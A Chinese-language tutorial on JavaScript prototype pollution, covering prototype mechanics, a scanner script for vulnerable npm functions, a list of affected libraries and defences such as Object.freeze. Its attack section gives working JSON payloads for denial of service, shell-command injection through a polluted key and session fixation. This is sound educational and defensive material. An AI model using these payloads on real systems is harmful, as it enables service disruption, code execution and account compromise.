0x01 深入了解JavaScript
對象與類
JavaScript一切皆對象,所以先來了解了解對象
創造一個最簡單的js對象如:
var obj = {};
創建obj這個對象時,並沒有賦予他任何屬性或者方法,但是他會具有一些內置屬性和方法,像__proto__
,constructor
,toString
等.
為了探究這些內置屬性是怎么來的,接下來需要看一下JavaScript中類的一些機制
JavaScript中的類從一個函數開始:
- 函數對象:
function MyClass() {
console.log("lonmar");
}
var inst = new MyClass();
//以上代碼創建了一個MyClass函數,同時MyClass也是一個類,可以像別的語言中那樣為這個類實例化一個對象inst
觀察以上代碼執行結果可以發現,在實例化inst
的時候,MyClass()
也同樣執行了.
這可以聯想到構造函數,構造函數在的特性就是在new一個對象的時候執行.
所以MyClass()函數
與MyClass
這個類的關系就很明顯了,前者是后者的構造函數
通過constructor
這個屬性可以查看對象的構造函數
下面了解下 __proto__
與prototype
先拋出結論
prototype
是一個類的屬性,所有類對象在實例化的時候將會擁有prototype
中的屬性和方法- 一個對象的
__proto__
屬性,指向這個對象所在的類的prototype
屬性 - 類在運行程序運行時是可以修改的
再看實例:
下面這段代碼通過prototype
屬性,為Person類添加了getInfo()
這個屬性.
其實例化對象也都具有這個屬性
function Person(name,age) {
this.name = name;
this.age = age;
this.greed = function(){
console.log("hello,I am",this.name);
}
console.log("I am Person Class");
}
Person.prototype.getInfo = function(){
return this.name + "," + this.age;
}
var lonmar=new Person('lonmar',10);//I am Person Class
lonmar.greed();//hello,I am lonmar
lonmar.getInfo();//'lonmar,10'
下面其實是JavaScript中繼承的一種寫法,通過修改原型鏈來繼承
Student類繼承了Person類,但也可以看出只是繼承部分屬性,如constructor就沒有被繼承
然后通過prototype修改的屬性也被繼承了!
function Student(){
console.log("I am Student Class")
}
Student.prototype = new Person();//I am Person Class;erson { name: undefined, age: undefined, greed: [Function] }
Student.prototype.age = 10;//10
Student.prototype.name = "lonmar";//lonmar
var stud = new Student();
stud.getInfo();//'lonmar,10'
通過下面的實例又可以看出,Student類的prototype實際上指向一個Person的實例化對象
stud的__proto__
也指向一個對象,並且stud.__proto__ =Student.prototype
也可以依次向前查找__proto__
屬性,可以發現奇妙的關系.(最終是null的)
最后,總結一下:
- JavaScript是一個神奇的語言,一切皆對象.
- 對象都有一個
__proto__
屬性,指向它的類的``prototype` - 類是通過函數來定義的,定義的這個函數又是這個類的
constructor
屬性值 - 每個構造函數
constructor
都有一個原型對象prototype
- JavaScript使用
prototype鏈
實現繼承機制 - 子類是可以通過
prototype鏈
修改其父類屬性,以及爺爺類的屬性值的
0x02 什么是原型鏈污染
做一個簡單的實驗,其實也是對前面的一個總結
// foo是一個簡單的JavaScript對象
let foo = {bar: 1}
// foo.bar 此時為1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由於查找順序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此時再用Object創建一個空的zoo對象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
zoo.bar的結果是2;
因為前面修改了foo的原型foo.__proto__.bar = 2
,而foo是一個Object類的實例,所以實際上是修改了Object這個類,給這個類增加了一個屬性bar,值為2。
后來,又用Object類創建了一個zoo對象let zoo = {}
,zoo對象自然也有一個bar屬性了。
那么,在一個應用中,如果攻擊者控制並修改了一個對象的原型,那么將可以影響所有和這個對象來自同一個類、父祖類的對象。這種攻擊方式就是原型鏈污染。
0x03 哪些情況下原型鏈會被污染
1. 最顯然的情況
obj[a][b] = value
obj[a][b][c] = value
如果控制了a,b,c及value就可以進行原型鏈污染的攻擊,
可以控制a=__proto__
2.利用某些API來進行攻擊
- Object recursive merge
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
這種情況下,__proto__
必須被視為key才能成功
對於
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
//1.
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)//undefined
//2.
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)//2
1和2兩種情況是不一樣的.
因為前面代碼中 __proto__
已經代表o2的原型了 ,沒有被看成一個key
后面的代碼中經過JSON.parse解析,__proto__
就代表了一個key
詳情可參考https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x04
- Property definition by path
theFunction(object, path, value)
如果攻擊者可以控制path,如path=__proto__.myValue
.就可以進行污染
- Object clone
function clone(obj) {
return merge({}, obj);
}
3. 找出易受攻擊的API
在https://github.com/HoLyVieR/prototype-pollution-nsec18這個項目的paper里面,作者給了一個找易受攻擊API的腳本.
node xx.js library-name
var process = require('process');
//check是否收到污染
function check() {
if ({}.test == "123" || {}.test == 123) {
delete Object.prototype.test;
return true;
}
return false;
}
function run(fnct, sig, name, totest) {
// Reinitialize to avoid issue if the previous function changed attributes.
BAD_JSON = JSON.parse('{"__proto__":{"test":123}}');
try {
fnct(totest);
} catch (e) {}
if (check()) {
console.log("Detected : " + name + " (" + sig + ")");
}
}
var BAD_JSON = {};//NULL OBJ
var args = process.argv.slice(2);//node xx.js param1 param2 parma3獲取所有參數 返回數組[param1,param2,param3]
//忽略異常
process.on('uncaughtException', function(err) { });
var pattern = [{
fnct : function (totest) {
totest(BAD_JSON);
},
sig: "function (BAD_JSON)"
},{
fnct : function (totest) {
totest(BAD_JSON, {});
},
sig: "function (BAD_JSON, {})"
},{
fnct : function (totest) {
totest({}, BAD_JSON);
},
sig: "function ({}, BAD_JSON)"
},{
fnct : function (totest) {
totest(BAD_JSON, BAD_JSON);
},
sig: "function (BAD_JSON, BAD_JSON)"
},{
fnct : function (totest) {
totest({}, {}, BAD_JSON);
},
sig: "function ({}, {}, BAD_JSON)"
},{
fnct : function (totest) {
totest({}, {}, {}, BAD_JSON);
},
sig: "function ({}, {}, {}, BAD_JSON)"
},{
fnct : function (totest) {
totest({}, "__proto__.test", "123");
},
sig: "function ({}, BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest({}, "__proto__[test]", "123");
},
sig: "function ({}, BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest("__proto__.test", "123");
},
sig: "function (BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest("__proto__[test]", "123");
},
sig: "function (BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest({}, "__proto__", "test", "123");
},
sig: "function ({}, BAD_STRING, BAD_STRING, VALUE)"
},{
fnct : function (totest) {
totest("__proto__", "test", "123");
},
sig: "function (BAD_STRING, BAD_STRING, VALUE)"
}]
if (args.length < 1) {
console.log("First argument must be the library name");
exit();
}
try {
var lib = require(args[0]);
} catch (e) {
console.log("Missing library : " + args[0] );
exit();
}
var parsedObject = [];
function exploreLib(lib, prefix, depth) {
if (depth == 0) return;
if (parsedObject.indexOf(lib) !== -1) return;
parsedObject.push(lib);
for (var k in lib) {
if (k == "abort") continue;
if (k == "__proto__") continue;
if (+k == k) continue;
console.log(k);
if (lib.hasOwnProperty(k)) {
for (p in pattern) {
if (pattern.hasOwnProperty(p)) {
run(pattern[p].fnct, pattern[p].sig, prefix + "." + k, lib[k]);
}
}
exploreLib(lib[k], prefix + "." + k, depth - 1);
}
}
if (typeof lib == "function") {
for (p in pattern) {
if (pattern.hasOwnProperty(p)) {
run(pattern[p].fnct, pattern[p].sig, args[0], lib);
}
}
}
}
exploreLib(lib, args[0], 5);
下面也是paper里面給出的幾個library
1. Merge function
-
hoek
hoek.merge
hoek.applyToDefaults
Fixed in version 4.2.1
Fixed in version 5.0.3 -
lodash
lodash.defaultsDeep
lodash.merge
lodash.mergeWith
lodash.set
lodash.setWith
Fixed in version 4.17.5 -
merge
merge.recursive
Not fixed. Package maintainer didn’t respond to the disclosure. -
defaults-deep
defaults-deep
Fixed in version 0.2.4 -
merge-objects
merge-objects
Not fixed. Package maintainer didn’t respond to the disclosure. -
assign-deep
assign-deep
Fixed in version 0.4.7 -
merge-deep
Merge-deep
Fixed in version 3.0.1 -
mixin-deep
mixin-deep
Fixed in version 1.3.1 -
deep-extend
deep-extend
Not fixed. Package maintainer didn’t respond to the disclosure. -
merge-options
merge-options
Not fixed. Package maintainer didn’t respond to the disclosure. -
deap
deap.extend
deap.merge
deap
Fixed in version 1.0.1 -
merge-recursive
merge-recursive.recursive
Not fixed. Package maintainer didn’t respond to the disclosure.
2. Clone
- deap
deap.clone
Fixed in version 1.0.1
3. Property definition by path
- lodash
lodash.set
lodash.setWith - pathval
pathval.setPathValue
pathval - dot-prop
dot-prop.set
dot-prop - object-path
object-path.withInheritedProps.ensureExists
object-path.withInheritedProps.set
object-path.withInheritedProps.insert
object-path.withInheritedProps.push
object-path
0x04 Attacking
1. 拒絕服務
JS中的Object默認帶了一些屬性,如toString和valueOf,利用原型鏈污染他們,可能導致整個程序停止運行
toString()將Object轉換為字符串格式返回,valueOf()返回數值或者bool值等
{}__proto__.toString="123"
{}__proto__.valueOf="123"
eg: server.js
var _ = require('lodash');
var express = require('express');
var app = express();
var bodyParser = require('body-parser');
app.use(bodyParser.json({ type: 'application/*+json' }))
app.get('/', function (req, res) {
res.send("Use the POST method !");
});
app.post('/', function (req, res) {
_.merge({}, req.body);
res.send(req.body);
});
app.listen(3000, function () {
console.log('Example app listening on port 3000!')
});
payload{"__proto__":{"toString":"123","valueOf":"It works !"}}
2. for循環污染
就像下面的for循環,如果commands里面有,就可以執行惡意代碼,污染等
{
“__proto__”:{“my malicious command”:”echo yay > /tmp/evil”}
}
var execSync = require('child_process').execSync;
function runJobs() {
var commands = {
"script-1" : "/bin/bash /opt/my-script-1.sh",
"script-2" : "/bin/bash /opt/my-script-2.sh"
};
for (var scriptname in commands) {
console.log("Executing " + scriptname);
execSync(commands[scriptname]);
}
}
3. 屬性注入
注意到,如果污染了某個類的prototype
,那么那些沒有被顯式定義的對象都會受到影響.
NodeJS 的 http
模塊支持很多header同一個name.
所以如果污染了如cookie
等.會造成很有意思的攻擊.可能導致所有用戶公用一個session
{“__proto__”:{“cookie”:”sess=fixedsessionid; garbage=”}}
0x05 針對Prototype pollution的防御
1. 原型凍結
ECMAScript5標准中添加的一個特性.
使用該特性后,對於對象屬性的修改都將失敗
eg:
Object.freeze()
凍結對象, 凍結的對象無法再更改.我們無法添加,編輯或刪除其中的屬性
Object.freeze(Object.prototype);
Object.freeze(Object);
({}).__proto__.test = 123
({}).test // this will be undefined
2. Schema validation of JSON input
NPM上的多個庫(例如:avj)都為JSON數據提供了模式驗證
可以在json規則里添加additionalProperties=false
3. 使用MAP代替Object
MAP是EcmaScript 6標准中新增的
需要使用key/value模式時,盡量用MAP
1.js創建map對象
var map = new Map();
2.將鍵值對放入map對象
map.set("key",value)
map.set("key1",value1)
map.set("key2",value2)
3.根據key獲取map值
map.get(key)
4.刪除map指定對象
delete map[key]
或
map.delete(key)
5.循環遍歷map
map.forEach(function(key){
console.log("key",key) //輸出的是map中的value值
})
4.Object.create(null)
可以用JavaScript創建沒有任何原型的對象 : Object.create(null)
,用Object.creat創建的對象沒有__proto__
和constructor
以這種方式創建對象可以幫助減輕原型污染攻擊
var obj = Object.create(null);
obj.__proto__ // undefined
obj.constructor // undefined
參考: